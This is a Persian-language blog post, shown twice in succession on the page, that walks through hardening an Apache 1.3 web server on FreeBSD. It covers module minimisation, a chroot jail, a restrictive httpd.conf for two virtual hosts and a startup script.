از اين جهت قابل تاكيد است كه كه مدل ذكر شده در بالا PHP, JSP, CGI و ديگر تكنولوژي هايي كه امكان تداخل با سرويس هاي وب سرور را دارد را پشتيباني نمي كند . استفاده از تكنولوژي هايي كه در بالا ذكر شد با اين كه در دنياي امروز مورد احتياج هسنتد ممكن است يك ريسك امنيتي بزرگ در امنيت باشد كه قابل ذكر است يك اسكريپت كوچك مي تواند امنيت سرور را به كلي كاهش دهد . ولي چرا ؟ بايد بگم اسكريپت هاي كاربردي ASP/CGI ممكن است داراي حفره هاي امنيتي باشد ( مانند SQL Injection , CSS ) . دوم اين تكنولوژي ها ممكن است خود نيز داراي مشكل باشد ( مانند آسيب پذيري هاي ماژول هاي PHP, Perl و ... ) به همين دليل است استفاده از اين تكنولوژي ها را زماني پيشنهاد مي شود كه واقعا مورد احتياج باشند .

فرض هاي امنيتي

يكي از مهم ترين موارد در هر پروژه كامپيوتري توجه به فرض هاي امنيتي است ( با توجه به توضيحاتي كه در زير آورده مي شود اين موضوع به راحتي قابل تحليل است ) و اين فرض ها بايد قبل از اينكه يك پروژه به انجام برسد در نظر گرفته شود . فرض هاي امنيتي كه ما جهت وب سرورمان در نظر گرفته ايم اين ها هستند :

سيستم عامل بايد تا آنجايي كه امكان دارد از نظر امنيت مورد بررسي قرار گرفته باشد و مشكلات امنيتي ان برطرف گردد ( هم در مقابل حملات داخلي و هم ريموت )

وب سرور نبايد هيچ سرويس ديگري غير از سرويس اچ-تي-تي-پي را ارائه دهد

دسترسي ريموت به سرور بايد توسط يك فايروال كنترل گردد

سرويس آپاچي بايد تنها سرويسي باشد كه در سيستم وجود دارد

فقط ماژول هاي آپاچي آن هايي كه مورد احتياج هستند بايد فعال باشند

پروسه هاي آپاچي بايد دسترسي محدود شده به فايل هاي سيستمي داشته باشند

نصب سيستم عامل

قبل از نصب وب سرور آپاچي ما بايد يك سيستم عامل را انتخاب نماييم . سرور آپاچي مي تواند بر روي بيشتر سيستم عامل ها كامپايل و نصب شود . بيشتر مقاله بر روي امنيت وب سرور آپاچي در سيستم عامل FreeBSD ( نسخه 4.7 ) تاكيد دارد ولي سعي شده تا آن جا كه امكان داشته روش هاي به گونه اي باشند كه در بيشتر سيستم عامل ها قابل استفاده باشد . من استفاده از سيستم عامل ويندوز را پيشنهاد نمي كنم چون جهت بالا بردن امنيت آپاچي سازگاري كمي دارد .

اولين قدم در بالا بردن امنيت وب سرور , رفع مشكلات امنيتي سيستم عامل به طور كامل است كه البته مقالات بسياري بر روي اينترنت جهت اين كار موجود است .

خوب بعد از اينكه سيستم عامل نصب شد و مشكلات امنيتي آن رفع گرديد ما بايد يك گروه جديد ( Apache ) را به پروسه ها اضافه كنيم ( مثال زير اين روند را در FreeBSD نشان مي دهد )

pw groupadd apache
pw useradd apache -c "Apache Server" -d /dev/null -g apache -s /sbin/nologin



به طور پيش فرض پروسه هاي آپاچي با سطح دسترسي nobody ( به غير از پروسه اصلي آن كه با سطح دسترسي روت اجرا مي شود ) اجرا مي شوند كه اين نيز خود يك مشكل امنيتي است .
اما نرم افزارها ...

قدم بعدي دريافت آخرين نسخه وب سرور آپاچي است . كه بعضي از تنظيمات اين سرور در هنگام كامپايل قابل تغيير است به همين دليل اين حائز اهميت است كه سورس آن را در مقابل نسخه باينري دريافت نماييد .

اما بعد از دريافت ما بايد تصميم بگيريم كه چه ماژول هايي از سرور فعال شوند و توضيح كوتاهي در اين مورد در http://httpd.apache.org/docs/mod/ قابل مشاهده است .

ماژول هاي آپاچي

انتخاب ماژول هاي اين سرور ار موارد مهم در امنيت سرور است . ما بايد اين قانون را مورد توجه قرار دهيم ( هر چه كم تر , بهتر ! ) . اما جهت روند امنيتي ماژول هايي كه مورد احتياج هستند در اينجا ذكر شده ‌:

نام ماژول شرح
httpd_core ويژگي هاي كلي آپاچي ( نصب در همه موارد مورد احتياج است‌)
mod_access فراهم نمودن كنترل دسترسي به كلاينت
mod_auth مورد احتياج جهت HTTP Basic Authentication
mod_dir مورد احتياج جهت جستجو و فايل هاي serve directory index : index.html, default.htm مانند

mod_log_config مورد احتياج جهت ضبط نمودن وقايع
mod_mime مورد احتياج جهت character set, content- encoding و ...


ديگر ماژول هاي آپاچي بايد غيرفعال شوند . اين ارزش را دارد كه بگويم دو ماژول آپاچي وجود دارند كه خطرناك تر از ديگر ماژول ها هستند : mod_autoindex mod_info و . اولين ماژول فراهم كننده directory indexing به صورت خودكار است و صورت پيش فرش فعال شده است . اين براحتي قابل متوجه شدن است كه اين ماژول نصب شده است يا نه ( براي مثال http://server_name/icons ) و محتواي دايركتوري ها را ببينيم و دومين ماژول mod_info هرگز نيايد از طريق اينترنت قابل دسترسي باشد به اين دليل كه دسترسي به تنظيمات سرور را امكان پذير مي سازد .

سوال بعدي چگونگي كامپايل ماژول ها است . روش ثابت راه حل مناسب تري به نظر مي رسد .

كامپايل نمودن نرم افزار

اول از همه بايد بگويم اگر :: پچ امنيتي جديدي وجود داشت :: بايد بروز رسانده شود بعد از آن بايد سرور كامپايل شود و از اين طريق نصب شود :

./configure --prefix=/usr/local/apache --disable-module=all --server-
uid=apache --server-gid=apache --enable-module=access --enable-
module=log_config --enable-module=dir --enable-module=mime --enable-module=auth

make
su
umask 022
make install
chown -R root:sys /usr/local/apache
قدم بعدي محدود نمودن دسترسي پروسه هاي آپاچي به فايل هاي سيتمي است. ما اين كار را از طريق ايجاد يك دايركتوري روت جديد در دايركتوري /chroot/httpd انجام مي هيم :

مالك همه دايركتوري هاي بالا بايد روت باشد و سطح دسترسي بايد به 0755 تغيير يابد . بعد ما يك فايل ديوايس را ايجاد مي كنيم :

ls -al /dev/null
crw-rw-rw- 1 root wheel 2, 2 Mar 14 12:53 /dev/null
mknod /chroot/httpd/dev/null c 2 2
chown root:sys /chroot/httpd/dev/null
chmod 666 /chroot/httpd/dev/null



يك روش ديگر نيز بايد استفاده شود تا /chroot/httpd/dev/log ايجاد شود كه هم چنين براي اينكه سرور به درستي كار كند . به دليل اينكه سيستم FreeBSD است اين لاين بايد به /etc/rc.conf اضافه شود :

syslogd_flags="-l /chroot/httpd/dev/log"



ما براي اينكه تغييرات انجام بپذيرد بايد سيستم را ري استارت نماييم . البته جهت ايجاد /chroot/httpd/dev/log در سيستم عامل هاي ديگر بايد به راهنماي ديگر در مورد syslogd مراجعه كنيم .

قدم بعدي كپي httpd به يك دايركتوري جديد همراه با همه باينري ها و فايل لايبرري است . جهت اين كار بايد ليستي از فايل هاي مورد نياز را تهيه كنيم . ما مي توانيم يك ليست را با چنين دستوراتي تهيه نماييم :

دستور اجرا در محيط شرح
ldd همه ليك كننده فايل هاي اجرايي و يا لايبرري هاي به اشتراك گذاشته شده
ktrace/ktruss/kdump *BSD فعال كردن مسير يابي پروسه ها در كرنل و نشان دادن اطلاعات مسيب يابي كرنل
sotruss سولاريس مسير يابي پروسه هاي لايبرري به اشتراك گذاشته شده
strace/ltrace لينوكس مسير يابي فراخوان ها سيستمي و سيگنال ها
strings همه پيدا نمودن استرينگ هاي قابل پرينت در فايل هاي باينري
trace AIX ضبط كننده وقايع انتخاب شده در سيستم
trace (freeware) HP-UX <10.20 پرينت فراخوان هاي سيستمي و مسير يابي كرنل در پروسه ها
truss FreeBSD, Solaris, AIX 5L, SCO Unixware مسير يابي فراخوان ها سيستمي و سيگنال ها


مثال هايي از استفاده از دستورهاي ldd و strings و truss :

localhost# ldd /usr/local/apache/bin/httpd
/usr/local/apache/bin/httpd:
libcrypt.so.2 => /usr/lib/libcrypt.so.2 (0x280bd000)
libc.so.4 => /usr/lib/libc.so.4 (0x280d6000)

localhost# strings /usr/local/apache/bin/httpd | grep lib
/usr/libexec/ld-elf.so.1
libcrypt.so.2
libc.so.4

localhost# truss /usr/local/apache/bin/httpd | grep open
(...)
open("/var/run/ld-elf.so.hints",0,00) = 3 (0x3)
open("/usr/lib/libcrypt.so.2",0,027757775370) = 3 (0x3)
open("/usr/lib/libc.so.4",0,027757775370) = 3 (0x3)
open("/etc/spwd.db",0,00) = 3 (0x3)
open("/etc/group",0,0666) = 3 (0x3)
open("/usr/local/apache/conf/httpd.conf",0,0666) = 3 (0x3)
(...)



دستورات بالا نه تنها جهت httpd بايد اجرا شوند بلكه جهت همه باينري ها و لايبرري ها مورد احتياج هستند . به دليل اينكه سيستم عامل ما FreeBSD است بايد چنين فايل هايي نيز كپي گردد :

cp /etc/hosts /chroot/httpd/etc/
cp /etc/host.conf /chroot/httpd/etc/
cp /etc/resolv.conf /chroot/httpd/etc/
cp /etc/group /chroot/httpd/etc/
cp /etc/master.passwd /chroot/httpd/etc/passwords
cp /usr/local/apache/conf/mime.types /chroot/httpd/usr/local/apache/conf/



دقت كنيد كه در /chroot/httpd/etc/passwords ما بايد همه لاين ها را به غير از nobody و apache را حذف كنيم . در يك جاي ديگر ما بايد چنين عملي را نيز دوباره در /chroot/httpd/etc/group تكرار كنيم . سپس ما بايد بانك اطلاعاتي پسورد ها را اين گونه بسازيم :

cd /chroot/httpd/etc
pwd_mkdb -d /chroot/httpd/etc passwords
rm -rf /chroot/httpd/etc/master.passwd



قدم بعدي اين است كه تست كنيم كه آيا httpd به درستي كار مي كند يا نه . جهت انجام اين كار ما بايد فايل تنظيمات آپاچي و index.html را كپي نماييم :

cp /usr/local/apache/conf/httpd.conf /chroot/httpd/usr/local/apache/co
nf/
cp /usr/local/apache/htdocs/index.html.en /chroot/httpd/www/index.html



بعد از كپي فايل هاي مورد احتياج ما بايد DocumentRoot رو همين طور كه در زير نشان داده شده تغيير دهيم :

DocumentRoot "/www"



سپس سرور را اجرا كنيم :

chroot /chroot/httpd /usr/local/apache/bin/httpd

اگر با مشكلي برخورد نموديد من پيشنهاد مي كنم فايل ضبط كننده وقايع (chroot/httpd/usr/local/apache/logs) را آناليز كنيد . از راه ديگر چنين فرماني نيز مي تواند به كار برده شود :

truss chroot /chroot/httpd /usr/local/apache/bin/httpd



اين فرمان مي تواند دليل مشكل ايجاد شده را نشان دهد . بعد از رفع مشكل همه خطاها ما مي توانيم سرور را تنظيم نماييم .

تنظيم نمودن سرور

قدم اول حذف فايل /chroot/httpd/usr/local/apache/conf/httpd.conf است و جايگزين يك فايل جديد به جاي آن است . محتواي فايل بايد :

# =================================================
# Basic settings
# =================================================
ServerType standalone
ServerRoot "/usr/local/apache"
PidFile /usr/local/apache/logs/httpd.pid
ScoreBoardFile /usr/local/apache/logs/httpd.scoreboard
ResourceConfig /dev/null
AccessConfig /dev/null

# =================================================
# Performance settings
# =================================================
Timeout 300
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 15
MinSpareServers 5
MaxSpareServers 10
StartServers 5
MaxClients 150
MaxRequestsPerChild 0

# =================================================
# Apache's modules
# =================================================
ClearModuleList
AddModule mod_log_config.c
AddModule mod_mime.c
AddModule mod_dir.c
AddModule mod_access.c
AddModule mod_auth.c

# =================================================
# General settings
# =================================================
Port 80
User apache
Group apache
ServerAdmin Webmaster@www.ebank.lab
UseCanonicalName Off
ServerSignature Off
HostnameLookups Off
ServerTokens Prod
<IfModule mod_dir.c>
DirectoryIndex index.html
</IfModule>
DocumentRoot "/www/vhosts"

# =================================================
# Access control
# =================================================
<Directory />
Options None
AllowOverride None
Order deny,allow
Deny from all
</Directory>
<Directory "/www/vhosts/www.ebank.lab">
Order allow,deny
Allow from all
</Directory>
<Directory "/www/vhosts/www.test.lab">
Order allow,deny
Allow from all
</Directory>

# =================================================
# MIME encoding
# =================================================
<IfModule mod_mime.c>
TypesConfig /usr/local/apache/conf/mime.types
</IfModule>
DefaultType text/plain
<IfModule mod_mime.c>
AddEncoding x-compress Z
AddEncoding x-gzip gz tgz
AddType application/x-tar .tgz
</IfModule>

# =================================================
# Logs
# =================================================
LogLevel warn
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
ErrorLog /usr/local/apache/logs/error_log
CustomLog /usr/local/apache/logs/access_log combined

# =================================================
# Virtual hosts
# =================================================
NameVirtualHost *
<VirtualHost *>
DocumentRoot "/www/vhosts/www.ebank.lab"
ServerName "www.ebank.lab"
ServerAlias "www.e-bank.lab"
ErrorLog logs/www.ebank.lab/error_log
CustomLog logs/www.ebank.lab/access_log combined
</VirtualHost>
<VirtualHost *>
DocumentRoot "/www/vhosts/www.test.lab"
ServerName "www.test.lab"
ErrorLog logs/www.test.lab/error_log
CustomLog logs/www.test.lab/access_log combined
</VirtualHost>



تنظيمات ارائه شده در بالا شامل فرمان هايي مي گردد كه جهت فعاليت سرور و امنيت آن مورد احتياج است . دو هاست مجازي وجود دارند كه توسط سرور پشتيباني شده اند :

- www.ebank.lab (www.e-bank.lab)
- www.test.lab

محتواي وب سايت هاي بالا به طور فيزيكي در اين دايركتوري ها وجود دارد :

- /chroot/httpd/www/vhosts/www.ebank.lab
- /chroot/httpd/www/vhosts/www.test.lab


و هر وب سايت لاگ فايل مخصوص به خود را دارد كه در اين دايركتوري هستند‌:

- /chroot/httpd/usr/local/apache/logs/www.ebank.lab
- /chroot/httpd/usr/local/apache/logs/www.test.lab


اين دايركتوري ها قبل از اينكه سرور آپاچي براي اولين بار اجرا مي شود بايد ايجاد شوند . مالك اين دايركتوري ها بايد به root:sys ست شود و سطح دسترسي به 0755 تغيير يابد .

حال اگر فايل تنظيمات آپاچي را به با نسخه اي كه در اينجا ارائه شد مقايسه كنيم چنين تغييراتي را مي بينيم كه به چندي از آن ها اشاره مي كنم :

تعدادي از ماژول هاي فعال آپاچي كاهش يافت

آپاچي اطلاعاتي بيشتري را در مورد درخواست ها لاگ خواهد نمود

آپاچي فقط دسترسي به فايل و دايركتوري ها را امكان پذير ميسازد كه در فايل تنظيمات مشخص شده است

و ...

قدم بعدي ايجاد يك استارت آپ اسكرپت "apache.sh" است كه محتواي آن بايد :

#!/bin/sh

CHROOT=/chroot/httpd/
HTTPD=/usr/local/apache/bin/httpd
PIDFILE=/usr/local/apache/logs/httpd.pid

echo -n " apache"

case "$1" in
start)
/usr/sbin/chroot $CHROOT $HTTPD
;;
stop)
kill `cat ${CHROOT}/${PIDFILE}`
;;
*)
echo ""
echo "Usage: `basename $0` {start|stop}" >&2
exit 64
;;
esac

exit 0




كه اين اسكرسپت بايد به دايركتوري مربوطه كپي شود كه بستگي به نوع سيستم عامل دارد . مثلا در FreeBSD دايركتوري مربوطه /usr/local/etc/rc.d مي باشد
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 امنيت برتر در Apache
امنيت برتر در سرورهاي Apache
اين مقاله به صورت قدم به قدم به شما نحوه نصب و تنظيم نمودن وب سرورهاي آپاچي نسخه 1.3.x جهت امنيت بالاتر را نشان مي دهد كه سعي شده جزئيات كار به خوبي مورد بررسي قرار بگيرد .

قبل از اينكه ما مرحله امنيت وب سرور آپاچي را مورد بررسي قرار دهيم بايد اين را مشخص نماييم كه چه استفاده اي از سرور را خواهيم نمود . متنوع بودن استفاده از وب سرورهاي آپاچي نوشتن يك روند جهاني جهت امنيت اين سرور را بسيار مشكل مي سازد . به همين دليل است كه در اين مقاله ما چنين وب سروري با چنين شرايطي را در نظر مي گيريم :

اين وب سرور از طريق اينترنت قابل دسترسي است

فقط صفحات اچ-تي-ام-ال ثابت در آن قرار مي گيرد

اين سرور مكانيزم هاستينگ مجازي را پشتيباني خواهد نمود

صفحات مهم وب سايت فقط از طريق يك آدرس IP مخصوص و يا كاربران خاص مورد استفاده قرار مي گيرد ( basic authentication )

اين سرور همه درخواست هاي دريافتي را ضبط مي كند ( شامل اطلاعاتي در مورد مرورگرهاي وب نيز خواهد شد )

از اين جهت قابل تاكيد است كه كه مدل ذكر شده در بالا PHP, JSP, CGI و ديگر تكنولوژي هايي كه امكان تداخل با سرويس هاي وب سرور را دارد را پشتيباني نمي كند . استفاده از تكنولوژي هايي كه در بالا ذكر شد با اين كه در دنياي امروز مورد احتياج هسنتد ممكن است يك ريسك امنيتي بزرگ در امنيت باشد كه قابل ذكر است يك اسكريپت كوچك مي تواند امنيت سرور را به كلي كاهش دهد . ولي چرا ؟ بايد بگم اسكريپت هاي كاربردي ASP/CGI ممكن است داراي حفره هاي امنيتي باشد ( مانند SQL Injection , CSS ) . دوم اين تكنولوژي ها ممكن است خود نيز داراي مشكل باشد ( مانند آسيب پذيري هاي ماژول هاي PHP, Perl و ... ) به همين دليل است استفاده از اين تكنولوژي ها را زماني پيشنهاد مي شود كه واقعا مورد احتياج باشند .

فرض هاي امنيتي

يكي از مهم ترين موارد در هر پروژه كامپيوتري توجه به فرض هاي امنيتي است ( با توجه به توضيحاتي كه در زير آورده مي شود اين موضوع به راحتي قابل تحليل است ) و اين فرض ها بايد قبل از اينكه يك پروژه به انجام برسد در نظر گرفته شود . فرض هاي امنيتي كه ما جهت وب سرورمان در نظر گرفته ايم اين ها هستند :

سيستم عامل بايد تا آنجايي كه امكان دارد از نظر امنيت مورد بررسي قرار گرفته باشد و مشكلات امنيتي ان برطرف گردد ( هم در مقابل حملات داخلي و هم ريموت )

وب سرور نبايد هيچ سرويس ديگري غير از سرويس اچ-تي-تي-پي را ارائه دهد

دسترسي ريموت به سرور بايد توسط يك فايروال كنترل گردد

سرويس آپاچي بايد تنها سرويسي باشد كه در سيستم وجود دارد

فقط ماژول هاي آپاچي آن هايي كه مورد احتياج هستند بايد فعال باشند

پروسه هاي آپاچي بايد دسترسي محدود شده به فايل هاي سيستمي داشته باشند

نصب سيستم عامل

قبل از نصب وب سرور آپاچي ما بايد يك سيستم عامل را انتخاب نماييم . سرور آپاچي مي تواند بر روي بيشتر سيستم عامل ها كامپايل و نصب شود . بيشتر مقاله بر روي امنيت وب سرور آپاچي در سيستم عامل FreeBSD ( نسخه 4.7 ) تاكيد دارد ولي سعي شده تا آن جا كه امكان داشته روش هاي به گونه اي باشند كه در بيشتر سيستم عامل ها قابل استفاده باشد . من استفاده از سيستم عامل ويندوز را پيشنهاد نمي كنم چون جهت بالا بردن امنيت آپاچي سازگاري كمي دارد .

اولين قدم در بالا بردن امنيت وب سرور , رفع مشكلات امنيتي سيستم عامل به طور كامل است كه البته مقالات بسياري بر روي اينترنت جهت اين كار موجود است .

خوب بعد از اينكه سيستم عامل نصب شد و مشكلات امنيتي آن رفع گرديد ما بايد يك گروه جديد ( Apache ) را به پروسه ها اضافه كنيم ( مثال زير اين روند را در FreeBSD نشان مي دهد )

pw groupadd apache
pw useradd apache -c "Apache Server" -d /dev/null -g apache -s /sbin/nologin



به طور پيش فرض پروسه هاي آپاچي با سطح دسترسي nobody ( به غير از پروسه اصلي آن كه با سطح دسترسي روت اجرا مي شود ) اجرا مي شوند كه اين نيز خود يك مشكل امنيتي است .
اما نرم افزارها ...

قدم بعدي دريافت آخرين نسخه وب سرور آپاچي است . كه بعضي از تنظيمات اين سرور در هنگام كامپايل قابل تغيير است به همين دليل اين حائز اهميت است كه سورس آن را در مقابل نسخه باينري دريافت نماييد .

اما بعد از دريافت ما بايد تصميم بگيريم كه چه ماژول هايي از سرور فعال شوند و توضيح كوتاهي در اين مورد در http://httpd.apache.org/docs/mod/ قابل مشاهده است .

ماژول هاي آپاچي

انتخاب ماژول هاي اين سرور ار موارد مهم در امنيت سرور است . ما بايد اين قانون را مورد توجه قرار دهيم ( هر چه كم تر , بهتر ! ) . اما جهت روند امنيتي ماژول هايي كه مورد احتياج هستند در اينجا ذكر شده ‌:

نام ماژول شرح
httpd_core ويژگي هاي كلي آپاچي ( نصب در همه موارد مورد احتياج است‌)
mod_access فراهم نمودن كنترل دسترسي به كلاينت
mod_auth مورد احتياج جهت HTTP Basic Authentication
mod_dir مورد احتياج جهت جستجو و فايل هاي serve directory index : index.html, default.htm مانند

mod_log_config مورد احتياج جهت ضبط نمودن وقايع
mod_mime مورد احتياج جهت character set, content- encoding و ...


ديگر ماژول هاي آپاچي بايد غيرفعال شوند . اين ارزش را دارد كه بگويم دو ماژول آپاچي وجود دارند كه خطرناك تر از ديگر ماژول ها هستند : mod_autoindex mod_info و . اولين ماژول فراهم كننده directory indexing به صورت خودكار است و صورت پيش فرش فعال شده است . اين براحتي قابل متوجه شدن است كه اين ماژول نصب شده است يا نه ( براي مثال http://server_name/icons ) و محتواي دايركتوري ها را ببينيم و دومين ماژول mod_info هرگز نيايد از طريق اينترنت قابل دسترسي باشد به اين دليل كه دسترسي به تنظيمات سرور را امكان پذير مي سازد .

سوال بعدي چگونگي كامپايل ماژول ها است . روش ثابت راه حل مناسب تري به نظر مي رسد .

كامپايل نمودن نرم افزار

اول از همه بايد بگويم اگر :: پچ امنيتي جديدي وجود داشت :: بايد بروز رسانده شود بعد از آن بايد سرور كامپايل شود و از اين طريق نصب شود :

./configure --prefix=/usr/local/apache --disable-module=all --server-
uid=apache --server-gid=apache --enable-module=access --enable-
module=log_config --enable-module=dir --enable-module=mime --enable-module=auth

make
su
umask 022
make install
chown -R root:sys /usr/local/apache
قدم بعدي محدود نمودن دسترسي پروسه هاي آپاچي به فايل هاي سيتمي است. ما اين كار را از طريق ايجاد يك دايركتوري روت جديد در دايركتوري /chroot/httpd انجام مي هيم :

مالك همه دايركتوري هاي بالا بايد روت باشد و سطح دسترسي بايد به 0755 تغيير يابد . بعد ما يك فايل ديوايس را ايجاد مي كنيم :

ls -al /dev/null
crw-rw-rw- 1 root wheel 2, 2 Mar 14 12:53 /dev/null
mknod /chroot/httpd/dev/null c 2 2
chown root:sys /chroot/httpd/dev/null
chmod 666 /chroot/httpd/dev/null



يك روش ديگر نيز بايد استفاده شود تا /chroot/httpd/dev/log ايجاد شود كه هم چنين براي اينكه سرور به درستي كار كند . به دليل اينكه سيستم FreeBSD است اين لاين بايد به /etc/rc.conf اضافه شود :

syslogd_flags="-l /chroot/httpd/dev/log"



ما براي اينكه تغييرات انجام بپذيرد بايد سيستم را ري استارت نماييم . البته جهت ايجاد /chroot/httpd/dev/log در سيستم عامل هاي ديگر بايد به راهنماي ديگر در مورد syslogd مراجعه كنيم .

قدم بعدي كپي httpd به يك دايركتوري جديد همراه با همه باينري ها و فايل لايبرري است . جهت اين كار بايد ليستي از فايل هاي مورد نياز را تهيه كنيم . ما مي توانيم يك ليست را با چنين دستوراتي تهيه نماييم :

دستور اجرا در محيط شرح
ldd همه ليك كننده فايل هاي اجرايي و يا لايبرري هاي به اشتراك گذاشته شده
ktrace/ktruss/kdump *BSD فعال كردن مسير يابي پروسه ها در كرنل و نشان دادن اطلاعات مسيب يابي كرنل
sotruss سولاريس مسير يابي پروسه هاي لايبرري به اشتراك گذاشته شده
strace/ltrace لينوكس مسير يابي فراخوان ها سيستمي و سيگنال ها
strings همه پيدا نمودن استرينگ هاي قابل پرينت در فايل هاي باينري
trace AIX ضبط كننده وقايع انتخاب شده در سيستم
trace (freeware) HP-UX <10.20 پرينت فراخوان هاي سيستمي و مسير يابي كرنل در پروسه ها
truss FreeBSD, Solaris, AIX 5L, SCO Unixware مسير يابي فراخوان ها سيستمي و سيگنال ها


مثال هايي از استفاده از دستورهاي ldd و strings و truss :

localhost# ldd /usr/local/apache/bin/httpd
/usr/local/apache/bin/httpd:
libcrypt.so.2 => /usr/lib/libcrypt.so.2 (0x280bd000)
libc.so.4 => /usr/lib/libc.so.4 (0x280d6000)

localhost# strings /usr/local/apache/bin/httpd | grep lib
/usr/libexec/ld-elf.so.1
libcrypt.so.2
libc.so.4

localhost# truss /usr/local/apache/bin/httpd | grep open
(...)
open("/var/run/ld-elf.so.hints",0,00) = 3 (0x3)
open("/usr/lib/libcrypt.so.2",0,027757775370) = 3 (0x3)
open("/usr/lib/libc.so.4",0,027757775370) = 3 (0x3)
open("/etc/spwd.db",0,00) = 3 (0x3)
open("/etc/group",0,0666) = 3 (0x3)
open("/usr/local/apache/conf/httpd.conf",0,0666) = 3 (0x3)
(...)



دستورات بالا نه تنها جهت httpd بايد اجرا شوند بلكه جهت همه باينري ها و لايبرري ها مورد احتياج هستند . به دليل اينكه سيستم عامل ما FreeBSD است بايد چنين فايل هايي نيز كپي گردد :

cp /etc/hosts /chroot/httpd/etc/
cp /etc/host.conf /chroot/httpd/etc/
cp /etc/resolv.conf /chroot/httpd/etc/
cp /etc/group /chroot/httpd/etc/
cp /etc/master.passwd /chroot/httpd/etc/passwords
cp /usr/local/apache/conf/mime.types /chroot/httpd/usr/local/apache/conf/



دقت كنيد كه در /chroot/httpd/etc/passwords ما بايد همه لاين ها را به غير از nobody و apache را حذف كنيم . در يك جاي ديگر ما بايد چنين عملي را نيز دوباره در /chroot/httpd/etc/group تكرار كنيم . سپس ما بايد بانك اطلاعاتي پسورد ها را اين گونه بسازيم :

cd /chroot/httpd/etc
pwd_mkdb -d /chroot/httpd/etc passwords
rm -rf /chroot/httpd/etc/master.passwd



قدم بعدي اين است كه تست كنيم كه آيا httpd به درستي كار مي كند يا نه . جهت انجام اين كار ما بايد فايل تنظيمات آپاچي و index.html را كپي نماييم :

cp /usr/local/apache/conf/httpd.conf /chroot/httpd/usr/local/apache/co
nf/
cp /usr/local/apache/htdocs/index.html.en /chroot/httpd/www/index.html



بعد از كپي فايل هاي مورد احتياج ما بايد DocumentRoot رو همين طور كه در زير نشان داده شده تغيير دهيم :

DocumentRoot "/www"



سپس سرور را اجرا كنيم :

chroot /chroot/httpd /usr/local/apache/bin/httpd

اگر با مشكلي برخورد نموديد من پيشنهاد مي كنم فايل ضبط كننده وقايع (chroot/httpd/usr/local/apache/logs) را آناليز كنيد . از راه ديگر چنين فرماني نيز مي تواند به كار برده شود :

truss chroot /chroot/httpd /usr/local/apache/bin/httpd



اين فرمان مي تواند دليل مشكل ايجاد شده را نشان دهد . بعد از رفع مشكل همه خطاها ما مي توانيم سرور را تنظيم نماييم .

تنظيم نمودن سرور

قدم اول حذف فايل /chroot/httpd/usr/local/apache/conf/httpd.conf است و جايگزين يك فايل جديد به جاي آن است . محتواي فايل بايد :

# =================================================
# Basic settings
# =================================================
ServerType standalone
ServerRoot "/usr/local/apache"
PidFile /usr/local/apache/logs/httpd.pid
ScoreBoardFile /usr/local/apache/logs/httpd.scoreboard
ResourceConfig /dev/null
AccessConfig /dev/null

# =================================================
# Performance settings
# =================================================
Timeout 300
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 15
MinSpareServers 5
MaxSpareServers 10
StartServers 5
MaxClients 150
MaxRequestsPerChild 0

# =================================================
# Apache's modules
# =================================================
ClearModuleList
AddModule mod_log_config.c
AddModule mod_mime.c
AddModule mod_dir.c
AddModule mod_access.c
AddModule mod_auth.c

# =================================================
# General settings
# =================================================
Port 80
User apache
Group apache
ServerAdmin Webmaster@www.ebank.lab
UseCanonicalName Off
ServerSignature Off
HostnameLookups Off
ServerTokens Prod
<IfModule mod_dir.c>
DirectoryIndex index.html
</IfModule>
DocumentRoot "/www/vhosts"

# =================================================
# Access control
# =================================================
<Directory />
Options None
AllowOverride None
Order deny,allow
Deny from all
</Directory>
<Directory "/www/vhosts/www.ebank.lab">
Order allow,deny
Allow from all
</Directory>
<Directory "/www/vhosts/www.test.lab">
Order allow,deny
Allow from all
</Directory>

# =================================================
# MIME encoding
# =================================================
<IfModule mod_mime.c>
TypesConfig /usr/local/apache/conf/mime.types
</IfModule>
DefaultType text/plain
<IfModule mod_mime.c>
AddEncoding x-compress Z
AddEncoding x-gzip gz tgz
AddType application/x-tar .tgz
</IfModule>

# =================================================
# Logs
# =================================================
LogLevel warn
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
ErrorLog /usr/local/apache/logs/error_log
CustomLog /usr/local/apache/logs/access_log combined

# =================================================
# Virtual hosts
# =================================================
NameVirtualHost *
<VirtualHost *>
DocumentRoot "/www/vhosts/www.ebank.lab"
ServerName "www.ebank.lab"
ServerAlias "www.e-bank.lab"
ErrorLog logs/www.ebank.lab/error_log
CustomLog logs/www.ebank.lab/access_log combined
</VirtualHost>
<VirtualHost *>
DocumentRoot "/www/vhosts/www.test.lab"
ServerName "www.test.lab"
ErrorLog logs/www.test.lab/error_log
CustomLog logs/www.test.lab/access_log combined
</VirtualHost>



تنظيمات ارائه شده در بالا شامل فرمان هايي مي گردد كه جهت فعاليت سرور و امنيت آن مورد احتياج است . دو هاست مجازي وجود دارند كه توسط سرور پشتيباني شده اند :

- www.ebank.lab (www.e-bank.lab)
- www.test.lab

محتواي وب سايت هاي بالا به طور فيزيكي در اين دايركتوري ها وجود دارد :

- /chroot/httpd/www/vhosts/www.ebank.lab
- /chroot/httpd/www/vhosts/www.test.lab


و هر وب سايت لاگ فايل مخصوص به خود را دارد كه در اين دايركتوري هستند‌:

- /chroot/httpd/usr/local/apache/logs/www.ebank.lab
- /chroot/httpd/usr/local/apache/logs/www.test.lab


اين دايركتوري ها قبل از اينكه سرور آپاچي براي اولين بار اجرا مي شود بايد ايجاد شوند . مالك اين دايركتوري ها بايد به root:sys ست شود و سطح دسترسي به 0755 تغيير يابد .

حال اگر فايل تنظيمات آپاچي را به با نسخه اي كه در اينجا ارائه شد مقايسه كنيم چنين تغييراتي را مي بينيم كه به چندي از آن ها اشاره مي كنم :

تعدادي از ماژول هاي فعال آپاچي كاهش يافت

آپاچي اطلاعاتي بيشتري را در مورد درخواست ها لاگ خواهد نمود

آپاچي فقط دسترسي به فايل و دايركتوري ها را امكان پذير ميسازد كه در فايل تنظيمات مشخص شده است

و ...

قدم بعدي ايجاد يك استارت آپ اسكرپت "apache.sh" است كه محتواي آن بايد :

#!/bin/sh

